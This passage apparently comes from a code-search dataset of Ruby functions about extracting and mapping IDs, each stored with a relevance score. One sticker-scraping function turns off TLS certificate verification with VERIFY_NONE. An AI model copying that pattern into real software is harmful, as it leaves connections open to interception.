Regexp.new(Regexp.escape(end_id))\n\t\tlines, new_lines, result = [], [], true\n\t\tFile.open(path, 'r'){|f| lines = f.readlines }\n\t\tlines.chunk { |line|\n\t\t\tif line =~ start_regexp\n\t\t\t\tresult = false\n\t\t\telsif line =~ end_regexp\n\t\t\t\tresult = true\n\t\t\tend\n\t\t\tresult\n\t\t}.each{ |result, arr| \n\t\t\tif result\n\t\t\t\tarr[0] =~ end_regexp ? arr.shift : arr\n\t\t\t\tnew_lines << arr\n\t\t\tend\n\t\t}\n\t\tFile.open(path, 'w+'){|f| f.write(new_lines.join)}\n\tend", "title": "" }, { "docid": "fed7a697b451a7ea4e5563d91ceb9fe9", "score": "0.5094629", "text": "def make_blocks\n data = compress block_sources\n id = put_blocks_in_cache(data) # would prefer qless id here if possible\n return id\n end", "title": "" }, { "docid": "ec8c661e47a65bea8456a415e18bcefc", "score": "0.50859576", "text": "def id(source_file); end", "title": "" }, { "docid": "9892a91fb50b9f0592857aaea4f6689e", "score": "0.5083781", "text": "def blocking_ids\n get \"blocks/blocking/ids\"\n end", "title": "" }, { "docid": "456ddc012d95a1b7bc8cb6319bd65de0", "score": "0.507783", "text": "def prepare_identities_from_files; end", "title": "" }, { "docid": "032172ce7f98434cabcb5ea6bfcbbc28", "score": "0.50570536", "text": "def grab_good_ids(clean_url_crm_ids, score_ids)\n clean_url_crm_ids.select { |sfdc_id| score_ids.include?(sfdc_id) }\n end", "title": "" }, { "docid": "848e8ece363c151c3c99b8f824c0e9e4", "score": "0.50447965", "text": "def skml_set_srcids(skml)\n verse = 0\n chapter = ''\n html = skml.dup || ''\n html.gsub!(/data-srcid\\s?=\\s?['\"](.*\\.)(x)['\"]/) do |match|\n if chapter != $1\n chapter = $1\n verse = 0\n end\n verse += 1\n \"data-srcid=\\\"#{chapter}#{verse}\\\"\"\n end\n return html\n end", "title": "" }, { "docid": "8a8b54e1600a4dfd79bf482801ac2bbc", "score": "0.50439686", "text": "def linked_giveaway_ids\n @linked_urls.select { |u| u.host == \"www.steamgifts.com\" and u.path.start_with?('/giveaway/') }.map { |u| self.class.id_from_uri(u) }\n end", "title": "" }, { "docid": "5c860872faa365a3beac9993c0e6c336", "score": "0.5017532", "text": "def image_ids\n links = @doc.xpath(\"//div[@id='mygallery']//a/@href\").to_ary\n links.map {|link| link.to_s.split(\"/\").last }\n end", "title": "" }, { "docid": "057928d421c2da9bcf14f0acda6c633b", "score": "0.50118214", "text": "def scrape(ids)\n response = Unirest.get(ids[:url])\n html_doc = Nokogiri::HTML(response.body)\n html_arr = html_doc.css(ids[:root_id]).css(ids[:li_id])\n\n # binding.pry if ids[:url] == \"http://www.sfmoma.org/\"\n\n return_hash = html_arr.map do |item|\n # binding.pry if ids[:url] == \"http://events.stanford.edu/2014/October/1/\"\n\n title = item.css(ids[:title_id]).try(:text).try(:strip) || \"\"\n date_str = item.css(ids[:date_id]).try(:text).try(:strip) || \"\"\n\n if ids[:link_id] == \"root\"\n link_str = item.attributes[\"href\"].value || \"\" \n elsif ids[:link_id] != nil\n link_attr = ids[:link_attr] || \"href\"\n link_node = item.css(ids[:link_id])\n if !link_node.empty?\n link_str = item.css(ids[:link_id])[0].attributes[link_attr].value || \"\" \n end\n end\n \n if ids[:link_root] != nil\n link_str = URI.join(ids[:link_root], link_str).to_s\n end\n\n if title != \"\"\n {\n title: title,\n date: date_str,\n link: link_str || \"\"\n }\n else\n nil\n end\n end.compact\n end", "title": "" }, { "docid": "7bdb042d61f38bb902dd13f5fe33160a", "score": "0.500798", "text": "def process(doc)\n doc.css('[fill^=\"url(#\"]').attr(\"fill\", \"#ffffff\")\n doc.css('[style*=\"fill:url(#\"]').each do |el|\n style = el.attribute(\"style\").to_s\n updated_style = style.gsub(/fill:url\\([^\\)]*\\)/, \"fill:#ffffff\")\n el[\"style\"] = updated_style\n end\nend", "title": "" }, { "docid": "2ca8ac37f5e48b8ed2134129fcbffc9d", "score": "0.5005778", "text": "def add_linkID_tagsID(path,size)\n i=0\n # Gets link id and tag id after adding link and tags to its db\n tag_link = [add_tag_return_IDs(@tempo.tags), add_link_return_ID(path,size)]\n while i < tag_link[0].count\n\tBoth.new(:tagID => (tag_link[0][i]), :linkID => (tag_link[1])).save\n\ti+=1\n end\n end", "title": "" }, { "docid": "546054cd1cc6158fa3d2f44440c82189", "score": "0.50012124", "text": "def pull_out_ids(links)\n puts \"pull_out_ids\"\n links.each do |link|\n # puts \"- link = #{link}; href = #{link['href']}\"\n post_id = get_url_id(link['href'])\n # puts \"- post_id = #{post_id}\"\n next if post_id.nil?\n\n if reached_max_num_ids_to_scrape\n @finished_scraping_new_post_ids = true\n break\n end\n\n @ids_to_process << post_id\n\n @num_ids_scraped += 1\n\n #@status.save_new_posting_to_process(post_id)\n end\nend", "title": "" }, { "docid": "c161081311d952612938b3307de59a87", "score": "0.49924138", "text": "def write_in(ids, string, path, dup = false)\n puts \"Trying to write in line after #{ids} the string #{string[0...8]} ... on the file #{path}\".colorize(:magenta)\n lines = []\n File.open(path, 'r'){|f| lines = f.readlines }\n regexps = []\n ids.each { |id| regexps << Regexp.new(id) }\n inserted_line = false\n new_lines = lines.inject([]) do |result, value|\n if value =~ regexps[0] and value =~ regexps[1]\n insert = true\n if !dup\n insert = value =~ Regexp.new(string) ? false : true\n end\n if insert\n inserted_line = true\n index = value =~ regexps[0]\n value.insert(index + ids[0].length, \n string)\n else\n puts \"The string to be inserted was already in the line\".colorize(:red)\n end\n end\n result << value\n end\n if !inserted_line\n puts \"No new line was inserted\".colorize(:red) \n else\n File.open(path, 'w+'){|f| f.write(new_lines.join)}\n end\n end", "title": "" }, { "docid": "582a46055305737c19f9995356860bb8", "score": "0.4957463", "text": "def normalize_link_id(id); end", "title": "" }, { "docid": "6d4f8d8739f0d4370b016fe01b016e01", "score": "0.49421647", "text": "def parse_github_ids full_document\n full_document.gsub(/%github(\\d+)/) do\n # Also works for PRs becuase GH figures that out.\n url = \"https://github.com/calacademy-research/antcat/issues/#{$1}\"\n link_to \"GitHub ##{$1}\", url\n end\n end", "title": "" }, { "docid": "35b9e2fa36a63883725123363c6c13ab", "score": "0.49381062", "text": "def get_block_ids(project_id = nil, span = nil)\n\t\tblocks.in_project(project_id).in_span(span).pluck(:id)\n\tend", "title": "" }, { "docid": "8bd9442edbf29759f01b714ccba443f4", "score": "0.49365148", "text": "def asset_ids(id)\n score = Hyrax::PresenterFactory.build_for(ids: [id], presenter_class: Hyrax::ScorePresenter, presenter_args: nil).first\n return if score.blank?\n\n docs = score.ordered_member_docs\n return if docs.blank?\n\n ids = []\n docs.each do |doc|\n fp = Hyrax::FileSetPresenter.new(doc, nil)\n next if fp.featured_representative?\n next if fp.id == score.representative_id\n next if Sighrax.from_presenter(fp).tombstone?\n ids << fp.id\n end\n\n ids.join(\",\")\n end", "title": "" }, { "docid": "1b5017d3eb47337868ea59ed651701e3", "score": "0.49364302", "text": "def set_ingest_id( filename, id )\n\n begin\n File.open( \"#{filename}.id\", 'w') do |file|\n file.write( id )\n end\n return true\n rescue => e\n end\n return false\n end", "title": "" }, { "docid": "3197bc275daeb2cc1056db65281e369a", "score": "0.4932226", "text": "def correct_standards_pointed_to_missing_ref_ids(element)\n ref_id_map = {\n 'B1AC98EADE4145689E70EEEBD9B8CC19' => patch_duplicated_parent_ref_ids(element,'B1AC98EADE4145689E70EEEBD9B8CC18'),\n '834B17E279C64263AA83F7625F5D2994' => patch_duplicated_parent_ref_ids(element,'834B17E279C64263AA83F7625F5D2993'),\n '91FABAB899814C55851003A0EE98F8FC' => patch_duplicated_parent_ref_ids(element,'91FABAB899814C55851003A0EE98F8FB')\n }\n return unless (element.is_a?(Standard) and ref_id_map.keys.include?(element.parent_ref_id))\n element.instance_variable_set(:@parent_ref_id,ref_id_map[element.parent_ref_id])\n end", "title": "" }, { "docid": "8974edd43bc33ac2b3f69e13c656c0bf", "score": "0.49173743", "text": "def generate_ids\n hex_str = SecureRandom.hex(32)\n bytes = hex_str.scan(/.{1,2}/).map do |h|\n Integer(h, 16)\n end\n @doc_id = xtext(bytes[0, 16])\n @rev_id = xtext(bytes[16, 16])\n @attributes[:ID] = list([@doc_id, @rev_id])\n end", "title": "" }, { "docid": "21fda9316e48a3a945e9c6e91b51aeef", "score": "0.4916275", "text": "def fix_ids_for_bosh(deployment, ids: [])\n fixed_ids = []\n bosh_ids = get_bosh_ids(deployment)\n if ids.empty?\n fixed_ids = bosh_ids\n else\n bosh_ids.each do |id|\n search_term = id.split(\"/\")[1].strip\n fixed_ids.push(id) if ids.find { |e| search_term == e }\n end\n end\n return fixed_ids\n end", "title": "" }, { "docid": "003d91168ae34e8c2e104a64da90cefe", "score": "0.49149388", "text": "def makeKeggTaxonId(file)\n out = File.new(file, \"w\")\n keggtaxurl = \"http://www.genome.jp/kegg-bin/get_htext?query=&htext=Organisms&filedir=&option=-e&extend=F65F548C25-2E42-3&uploadfile=&format=&wrap=&length=&open=&close=&hier=18&oneclick=on\"\n out = File.new(\"kegg_taxon_ids.txt\", \"w\")\n File.new(open(keggtaxurl)).each do |line|\n if line =~/([^\\>]*)<\\/I>.*id=([0-9]*).*>([a-z]*)</\n sp, taxid, name = $1, $2, $3\n out.printf(\"%s\\t%d\\t%s\\n\", name, taxid, sp)\n end\n end\n out.close\nend", "title": "" }, { "docid": "775296184c3f2b061988fd5d461a0389", "score": "0.49133873", "text": "def filter_by_id( id )\n\t\tif @cache_for_id.include?( id )\n\t\t\tyield( @cache[@cache_for_id[ id ]] )\n\t\t\t@updated = true\n\t\telse\n\t\t\tret = Array.new()\n\t\t\t@cache_for_id.each_pair do |k,v|\n\t\t\t\tif k.index( id ) == 0\n\t\t\t\t\tyield( @cache[ v ] )\n\t\t\t\t\t@updated = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tsave\n\tend", "title": "" }, { "docid": "995b1118175f665cf07e96f4f0997117", "score": "0.49004793", "text": "def floodfill_tree bn_id, &blk\n info \"Fill #{bn_id}\"\n return bn_id if node_visited?(bn_id)\n _q.push(bn_id)\n\n index = 0\n while _q.length > 0 do\n #bn = blk.call(bn_id)\n bns = Http.get_bns _q\n bns.each do |bn|\n bn_data = get_node_data_from_xml_doc(bn)\n set_node(bn_data)\n children = get_children_from_xml_doc(bn).map do |child_bn| \n get_node_data_from_xml_doc(child_bn)\n end\n children.each do |child|\n #floodfill_tree child[:id], &blk\n _q.push(child[:id])\n add_child bn_data[:id], child[:id]\n end\n ancestors = get_ancestors_from_xml_doc(bn)\n ancestors.each do |parent|\n parent_data = get_node_data_from_xml_doc parent\n #floodfill_tree parent_data[:id], &blk\n _q.push(parent_data[:id])\n add_ancestor bn_data[:id], parent_data[:id]\n # First 2 levels of ancestors are virtual nodes\n # Add them with this request\n current_parent_bn_id = parent_data[:id]\n grandparent = get_ancestors_from_xml_doc(parent)\n while grandparent.length > 0\n # MAybe Bug\n grandparent_data = get_node_data_from_xml_doc parent\n set_node grandparent_data\n add_ancestor current_parent_bn_id, grandparent_data[:id]\n current_parent_bn_id = grandparent_data[:id]\n grandparent = get_ancestors_from_xml_doc(grandparent)\n end\n end\n # a node is visited when all neighbours are visited\n visit_node bn_data[:id]\n end\n info \"To process #{_q.inspect}\"\n _q.reject!{|e| node_visited?(e)}\n info \"To process #{_q.length} node(s)\"\n index += 1\n save if (index%100 == 0)\n end\n save\n end", "title": "" }, { "docid": "a7eebef5dd14c9c059f576dcefcf30b3", "score": "0.48926526", "text": "def parseForBadComments(deletable_ids, str, points_needed = 1)\n bad_comments = []\n deletable_ids.each do |delete_id|\n splits = str.split('id=\"score_' + delete_id.to_s + '\">' )\n points=splits[1].split(\" \").first.to_i\n if points.to_i < points_needed.to_i\n bad_comments << delete_id\n end\n end\n bad_comments\nend", "title": "" }, { "docid": "0574d45eeaa34fedd5ce0fc543d37304", "score": "0.48906183", "text": "def valid_id(text)\n\t NinjaGen.id_filter.match(text)\n end", "title": "" }, { "docid": "789196ff5a69d4896f2342b30334bd00", "score": "0.48897976", "text": "def handle_id(*ids)\n ids.reject!{|i| i.nil? || i.empty?}\n unless ids.empty?\n df('099', ' ', ' ').with_sfs(['a', ids.join('.')])\n df('852', ' ', ' ').with_sfs(['c', ids.join('.')])\n last035 = 'CULASPC-' + ids[0]\n df('035', ' ', ' ').with_sfs(['a', last035])\n end\n end", "title": "" }, { "docid": "043c7c33fa58658709ce0014319e7aec", "score": "0.48824066", "text": "def allow(ids); end", "title": "" }, { "docid": "5b236b7b4ed15dc5c3c205191646bbbb", "score": "0.48770234", "text": "def extract_dataset_ids_from_listings_path path\n Nokogiri::HTML(open(path)).xpath(\"//a[starts-with(@href,'/raw')]\").map {|x| x['href'][5,4].to_i}\nend", "title": "" }, { "docid": "9964a469c536f912183570a14462136a", "score": "0.4874768", "text": "def ignore(*ids); end", "title": "" }, { "docid": "a790c6407ad40dd59ee2dc69351c4c40", "score": "0.48705792", "text": "def extract_genbank_ids(xml)\n doc = Nokogiri::XML(xml)\n return [] unless doc.xpath('eLinkResult//LinkSet//LinkSetDb').first.present?\n\n doc.xpath('eLinkResult//LinkSet//LinkSetDb/Link/Id').map { |id| id&.text }.uniq.reject { |id| id == '0' }\n end", "title": "" }, { "docid": "c05103fa1307ad2914172afa15daa24c", "score": "0.4869674", "text": "def process_detail_html_pages\n start = Time.now\n\n # get all ids\n # - need this to get image id for image url\n all_ids = CSV.read(\"#{@listings_folder}/merged_ids.csv\")[1..-1]\n\n # get list of html files\n html_files = Dir.glob(\"#{@details_folder}/*.html\")\n remaining_files = []\n\n if html_files.nil? || html_files.length == 0\n puts \"NO HTML FILES EXIST TO PROCESS!\"\n exit\n end\n\n # get csv data, if not exist, create it\n if !File.exist?(@csv_data)\n CSV.open(@csv_data, 'wb') do |csv|\n # headers\n csv << @csv_headers\n end\n end\n csv_data = CSV.read(@csv_data)\n\n # if there is data that is already processed,\n # get the processed ids so we do process them again\n remaining_files = if csv_data.length > 0\n # first column is ids\n html_files - csv_data[1..-1].map{|x| \"#{@details_folder}/#{x[0]}.html\"}\n else\n html_files\n end\n\n # get rid of the csv data\n # - reduce memory load\n csv_data = nil\n\n # for each file\n # - open it in nokogiri\n # - pull out the data\n # - append to csv\n if remaining_files.length == 0\n puts \"there are NO files to process\"\n else\n puts \"there are #{remaining_files.length} files to process\"\n\n remaining_files.each_with_index do |file, index|\n row_data = []\n\n if index%50 == 0\n puts \"#{index} files processed so far in #{((Time.now-start)/60).round(2)} minutes\\n\\n\"\n end\n\n # open in nokogiri\n doc = File.open(file) { |f| Nokogiri::XML(f) }\n\n ###################\n # process the data\n # - id\n row_data << process_value(doc.css('#id_res'))\n\n # - last name\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Фамилия\") + .card_param-result'))\n\n # - first name\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Имя\") + .card_param-result'))\n\n # - middle name\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Отчество\") + .card_param-result'))\n\n # - birth_date\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Дата рождения/Возраст\") + .card_param-result'))\n\n # - place of birth\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Место рождения\") + .card_param-result'))\n\n # - date/place of recruitment\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Дата и место призыва\") + .card_param-result'))\n\n # - last place of service\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Последнее место службы\") + .card_param-result'))\n\n # - military rank\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Воинское звание\") + .card_param-result'))\n\n # - death reason\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Причина выбытия\") + .card_param-result'))\n\n # - death date\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Дата выбытия\") + .card_param-result'))\n\n # - initial burial location\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Первичное место захоронения\") + .card_param-result'))\n\n # - source name\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Название источника донесения\") + .card_param-result'))\n\n # - source fund number\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Номер фонда источника информации\") + .card_param-result'))\n\n # - source description number\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Номер описи источника информации\") + .card_param-result'))\n\n # - source file number\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Номер дела источника информации\") + .card_param-result'))\n\n # - source image url\n # - use the image id from the listings csv file to build the url\n record = all_ids.select{|x| x[0] == row_data[0]}.first\n if record.nil? || record[1].nil? || record[1] == ''\n row_data << nil\n else\n row_data << \"#{@image_url}#{record[1]}\"\n end\n\n\n ###################\n # append to the csv\n CSV.open(@csv_data, 'a') do |csv|\n csv << row_data\n end\n end\n end\nend", "title": "" }, { "docid": "6f8e3f95b25629a21e22ddb2929f82df", "score": "0.48673373", "text": "def update_ref_id(ref_id)\r\n node_set = self.datastreams[\"VRA\"].ng_xml.xpath('/vra:vra/vra:image[@refid]')\r\n node_set[0].set_attribute(\"refid\", ref_id)\r\n self.datastreams[\"VRA\"].content = self.datastreams[\"VRA\"].ng_xml.to_s\r\n end", "title": "" }, { "docid": "aa3da62e6daa005034a64c48c23bfb13", "score": "0.4863248", "text": "def parse_taxon_ids full_document\n full_document.gsub(/%t(\\d+)/) do\n try_linking_taxon_id $1\n end\n end", "title": "" }, { "docid": "1fbd32e6decbea88b0cc9dbf9bc0eb3c", "score": "0.4861362", "text": "def process\n\n @json_set.each do |ref, json|\n \n unlinked = self.class.unlink(json)\n \n begin\n obj = Kernel.const_get(json.class.record_type.camelize).create_from_json(unlinked)\n @as_set[json.uri] = [obj.id, obj.class]\n \n # Now update the URI with the real ID\n json.uri.sub!(/\\/[0-9]+$/, \"/#{@as_set[json.uri][0].to_s}\")\n rescue Exception => e\n raise ImportException.new({:invalid_object => json, :message => e.message})\n end\n end\n \n # Update the linked record pointers in the json set\n @json_set.each do |ref, json|\n self.class.correct_links(json, @json_set)\n \n end\n \n @as_set.each do |ref, a|\n obj = a[1].get_or_die(a[0]) \n obj.update_from_json(@json_set[ref], {:lock_version => obj.lock_version}) \n @saved_uris[ref] = @json_set[ref].uri \n end\n end", "title": "" }, { "docid": "a7a966ed2cc4bfafab59c29476f17104", "score": "0.48593846", "text": "def parse_cid_lookup\n @cid_lookup = {}\n barcode_nodes.each do |node|\n barcode = get_barcode(node)\n @cid_lookup[barcode] = get_id(node) unless barcode.nil?\n end\n end", "title": "" }, { "docid": "08544f42aa6d80727e7504779058fc00", "score": "0.4844834", "text": "def patch_duplicated_ref_ids(element,candidate_ref_id)\n flagged_standard_domain_ref_ids = ['7CB154907B5743c7B97BFCFF452D7977','F053D3437D1E4338A2C18B25DACBED85']\n flagged_cluster_ref_ids = ['B1AC98EADE4145689E70EEEBD9B8CC18','834B17E279C64263AA83F7625F5D2993','91FABAB899814C55851003A0EE98F8FB']\n flagged_duplicated_stadard_ref_ids = ['FBCBB7C696FE475695920CA622B1C857']\n if candidate_ref_id == 'F053D3437D1E4338A2C18B25DACBED85' and element.is_a?(Standard)\n return \"Standard:DUPLICATEDREF_ID:#{candidate_ref_id}\"\n elsif candidate_ref_id == 'F053D3437D1E4338A2C18B25DACBED85' and element.is_a?(Domain)\n return \"Domain:DUPLICATEDREF_ID:#{candidate_ref_id}\"\n elsif flagged_standard_domain_ref_ids.include?(candidate_ref_id) and element.is_a?(Standard)\n return \"Standard:DUPLICATEDREF_ID:#{candidate_ref_id}\"\n elsif flagged_cluster_ref_ids.include?(candidate_ref_id) and element.is_a?(Cluster)\n return \"Cluster:DUPLICATEDREF_ID:#{candidate_ref_id}:#{element.code}\"\n elsif flagged_duplicated_stadard_ref_ids.include?(candidate_ref_id) and element.is_a?(Standard)\n return \"Standard:DUPLICATEDREF_ID:#{candidate_ref_id}:#{element.code}\"\n else\n return candidate_ref_id\n end\n end", "title": "" }, { "docid": "0fe6f6d718efff30d519932281d0a959", "score": "0.4831757", "text": "def from_ids ids\n blocs, ranks = [], []\n blank = JSON.parse({'meta' => {'code' => 404}, 'data' => []}.to_json)\n until ids.empty?\n blocs << ids.shift(200)\n end\n blocs.each do |bloc|\n got = CNX.get(\"#{@url}#{bloc.join(',')}\")\n if got.nil? || got.empty?\n ranks << [{}]\n else\n resps = JSON.parse(got)\n ranks << resps['data']\n end\n end\n return ranks.flatten!\n end", "title": "" }, { "docid": "2a847a417c2395b3edfc1cd9326c0e3c", "score": "0.4831466", "text": "def idpath; @idpath ||= define_idpath end", "title": "" }, { "docid": "102ce87db558b4a48f4627198c6177f6", "score": "0.48310205", "text": "def getLineByID(id)\n\n # Get cookie\n cookie = open(\"https://store.line.me/stickershop/list?page=1&listType=top\", :ssl_verify_mode => OpenSSL::SSL::VERIFY_NONE).meta['set-cookie']\n newck = \"store_locale=zh_TW; store_lang=zh-hant; \" + cookie\n \n imglink = \"https://store.line.me/stickershop/detail?packageId=#{id}\" # Detail webpage link\n dpage = Nokogiri::HTML(open(imglink, \"Accept\" => \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\n \"Accept-Language\" => \"zh-TW,zh;q=0.8,en;q=0.6,en-US;q=0.4\",\n \"Cookie\" => newck,\n \"Connection\" => \"keep-alive\",\n \"User-Agent\" => \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36\"\n ))\n dpage.encoding = 'utf-8'\n\n # Next if Official Site do not have this sticker\n return if !dpage.css('p.mdMN07Desc')[0]\n\n did = imglink.split('=')[1]\n dtext = dpage.css('p.mdMN07Desc')[0].text\n dprice = dpage.css('p.mdMN05Price')[0].text.gsub!(/¥/,\"\").to_i*0.3\n imgtext = dpage.css('h2.mdMN05Ttl')[0].text\n imgsrc = dpage.css('div.mdMN05Img img')[0]['src']\n detailImg = dpage.css('div.mdMN07Img img')[0]['src']\n\n # Check Img Src Link \n begin\n open(imgsrc) {}\n rescue\n return \n end\n\n # property :id, Integer\n # property :name, String\n # property :tag, [String]\n # property :detail, String\n # property :description, String\n # property :thumbnail, String\n # property :detailImg, String\n # puts imglink\n # puts \"#{did} #{imgtext} #{imglink} #{dtext} #{imgsrc} \"\n\n doc = { \"id\" => did.to_i,\n \"sticker_id\" => did.to_i,\n \"name\" => imgtext,\n \"tag\" => { },\n \"detail\" => imglink,\n \"description\" => dtext,\n \"price\" => $priceTable[dprice.to_i],\n \"thumbnail\" => imgsrc,\n \"weigth\" => 1,\n \"detailImg\" => detailImg \n }\n\n $coll.insert(doc)\n puts \"=> Insert #{did} : #{imglink} ... \"\nend", "title": "" }, { "docid": "abd267bc004e390fd692aef2d697d63b", "score": "0.4822783", "text": "def prepare_storage_ids\n @@storage.each do |object, values|\n id_name = \"#{object.to_s.upcase}_ID\"\n values[:tags][id_name.to_sym] = 'ID'\n end\n end", "title": "" }, { "docid": "5809a5f227bc4e74e6f936319abd0570", "score": "0.48104253", "text": "def file_set_ids\n @file_set_ids ||= Hyrax::SolrService.query(\"{!field f=has_model_ssim}FileSet\",\n rows: 10_000,\n fl: Hyrax.config.id_field,\n fq: \"{!join from=ordered_targets_ssim to=id}id:\\\"#{id}/list_source\\\"\")\n .flat_map { |x| x.fetch(Hyrax.config.id_field, []) }\n end", "title": "" }, { "docid": "e8df772e8c1faa81e30a5c7a9bf15858", "score": "0.48101482", "text": "def extract_puzzle_ids(doc)\n\t\threfs = doc.css(\"a\").map do |link|\n\t\t\tlink.attribute(\"href\").value\n\t\tend\n\n\t\tpuzzle_hrefs = hrefs.select do |href|\n\t\t\thref.end_with?(\".puz\")\n\t\tend\n\n\t\tids = puzzle_hrefs.map do |href|\n\t\t\thref.split(\"/\").last.split(\".\").first\n\t\tend\n\n\t\treturn ids.uniq\n\tend", "title": "" }, { "docid": "294eb8918f70e7ba8486b7688adb2c69", "score": "0.48092142", "text": "def patch_duplicated_parent_ref_ids(element,candidate_parent_ref_id)\n flagged_cluster_ref_ids = ['B1AC98EADE4145689E70EEEBD9B8CC18','834B17E279C64263AA83F7625F5D2993','91FABAB899814C55851003A0EE98F8FB']\n if candidate_parent_ref_id == 'F053D3437D1E4338A2C18B25DACBED85' and element.is_a?(Component)\n return \"Standard:DUPLICATEDREF_ID:#{candidate_parent_ref_id}\"\n elsif candidate_parent_ref_id == 'F053D3437D1E4338A2C18B25DACBED85' and element.is_a?(Standard)\n return \"Domain:DUPLICATEDREF_ID:#{candidate_parent_ref_id}\"\n elsif flagged_cluster_ref_ids.include?(candidate_parent_ref_id) and element.is_a?(Standard) and element.code.match(/\\.K\\.G\\./)\n return \"Cluster:DUPLICATEDREF_ID:#{candidate_parent_ref_id}:Mathematics.K.G.1\"\n elsif flagged_cluster_ref_ids.include?(candidate_parent_ref_id) and element.is_a?(Standard) and element.code == 'CCSS.Math.Content.K.MD.B.3'\n return \"Cluster:DUPLICATEDREF_ID:#{candidate_parent_ref_id}:Mathematics.K.MD.2\"\n elsif flagged_cluster_ref_ids.include?(candidate_parent_ref_id) and element.is_a?(Standard) and element.code.match(/\\.3\\.G\\.A\\./)\n return \"Cluster:DUPLICATEDREF_ID:#{candidate_parent_ref_id}:Mathematics.3.G.1\"\n elsif flagged_cluster_ref_ids.include?(candidate_parent_ref_id) and element.is_a?(Standard) and element.code == 'CCSS.Math.Content.6.NS.A.1'\n return \"Cluster:DUPLICATEDREF_ID:#{candidate_parent_ref_id}:Mathematics.6.NS.1\"\n elsif flagged_cluster_ref_ids.include?(candidate_parent_ref_id) and element.is_a?(Standard) and element.code.match(/\\.3\\.MD\\.C\\./)\n return \"Cluster:DUPLICATEDREF_ID:#{candidate_parent_ref_id}:Mathematics.3.MD.3\"\n elsif flagged_cluster_ref_ids.include?(candidate_parent_ref_id) and element.is_a?(Standard) and element.code.match(/\\.6\\.RP\\.A\\./)\n return \"Cluster:DUPLICATEDREF_ID:#{candidate_parent_ref_id}:Mathematics.6.RP.1\"\n else\n return candidate_parent_ref_id\n end\n end", "title": "" }, { "docid": "135c94d5373e29970bc41ab78eebecbd", "score": "0.48051226", "text": "def map_tgup_by_geneid()\n Dir.glob(\"#{$prepare_dir}/refg/*.dat\") do |input_file|\n refseq_gene_list = []\n gene_id_prefix = input_file.split(\"/\").last.split(\"\\.\").first\n puts \"gene_id prefix: #{gene_id_prefix}\"\n File.open(input_file) do |f|\n f.each_line do |line|\n columns = line.chomp.strip.split(\"\\t\")\n refseq_gene_list.push({taxid: columns[0], gene_rsrc: columns[1], gene_label: columns[2], protein_id: columns[3], gene_id: columns[4], gene_id_prefix: gene_id_prefix})\n end\n end\n\n up_list = load_up_refg(gene_id_prefix) # get same prefix data from UniProt\n refseq_gene_list.each do |refseq_data|\n match = false\n unless up_list.nil? # exist prefix list on UniProt\n match_list = up_list[refseq_data[:gene_id]]\n unless match_list.nil?\n match_list.each do |up_info|\n if refseq_data[:taxid] == up_info[:taxid]\n output_idmap(refseq_data, up_info[:upid])\n match = true\n end\n end\n end\n end\n if match == false\n $no_up += 1\n end\n end\n end\nend", "title": "" }, { "docid": "bcb60eedc5d5f8a965353e5900044a26", "score": "0.48036093", "text": "def collect_idl_files\n BRIX11.log(4, \"[%s] collect_idl_files\", self)\n idl_scanner = IDLFileScanner.new(self)\n searchpaths = idl_includes + project.idl_includes\n @idl_files.each_key do |fnidl|\n idl_dir = searchpaths.detect { |sp| ::File.file?(::File.expand_path(fnidl, sp)) }\n unless idl_dir\n # in case we are not generating (clean up) see if a matching,\n # autogenerated IDLFile has already been defined for this recipe\n #\n idl_dir = if project.autogenerate == :never\n searchpaths.detect do |sp|\n (idlf = project.idl_files[::File.expand_path(fnidl, sp)]) &&\n idlf.recipes.first == self &&\n idlf.is_generated?\n end\n else\n nil\n end\n raise \"[#{recipe_file}] Error: cannot find IDL file #{fnidl}\" unless idl_dir\n end\n # register IDL file with project (if not yet done)\n idl_path = ::File.expand_path(fnidl, idl_dir)\n idl_file = project.add_idl_file(idl_path)\n unless idl_file.has_been_scanned?\n if project.autogenerate == :never\n idl_file.set_scanned\n else\n # scan IDL files, register includes and other properties\n # and recursively scan includes\n idl_scanner.scan_idl_file(idl_file)\n end\n end\n # now recursively process any included IDL files found\n # (if not registered yet and part of the project)\n idl_file.includes.each do |ifidl|\n process_include(ifidl, idl_scanner)\n end\n # register IDLFile with recipe\n BRIX11.log(4, '[%s] registering %s', self, idl_file)\n add_idl_file(project.idl_files[idl_path], fnidl)\n end\n end", "title": "" }, { "docid": "a638d11da91d8936b01ede4f5fd74772", "score": "0.47892308", "text": "def check_id_uniqueness\n check('object id uniqueness') do |messages|\n list = [\n check_network_id_uniqueness,\n check_node_id_uniqueness,\n check_link_id_uniqueness,\n check_tp_id_uniqueness\n ]\n messages.push(list)\n messages.flatten!\n end\n end", "title": "" }, { "docid": "51b4058a749250c6f70d0b5c977527c5", "score": "0.47854877", "text": "def known_invalid_idref(mapkey, oldid)\n\treturn false;\n\t# \treturn ( ((mapkey==:version or mapkey==:fixfor) and oldid==21907 or oldid==21881 or oldid==21743) or\n\t# \t\t\t(mapkey==:version and (oldid==21240 or oldid==21743)) or \n\t# \t\t\t(mapkey==:issuestatus and (oldid==2 or oldid==-3)) or\n\t# \t\t\t(mapkey==:resolution and oldid==6)\n\t# \t )\nend", "title": "" }, { "docid": "00df625f38e65da7b190284f5bc6c1ae", "score": "0.4781697", "text": "def replace_locationset_location_pid(new_pid)\r\n node_set = self.datastreams[\"VRA\"].find_by_terms(\"/vra:vra/vra:image/vra:locationSet/vra:location/vra:refid[@source='DIL']\")\r\n node_set[0].content = new_pid\r\n self.datastreams[\"VRA\"].content = 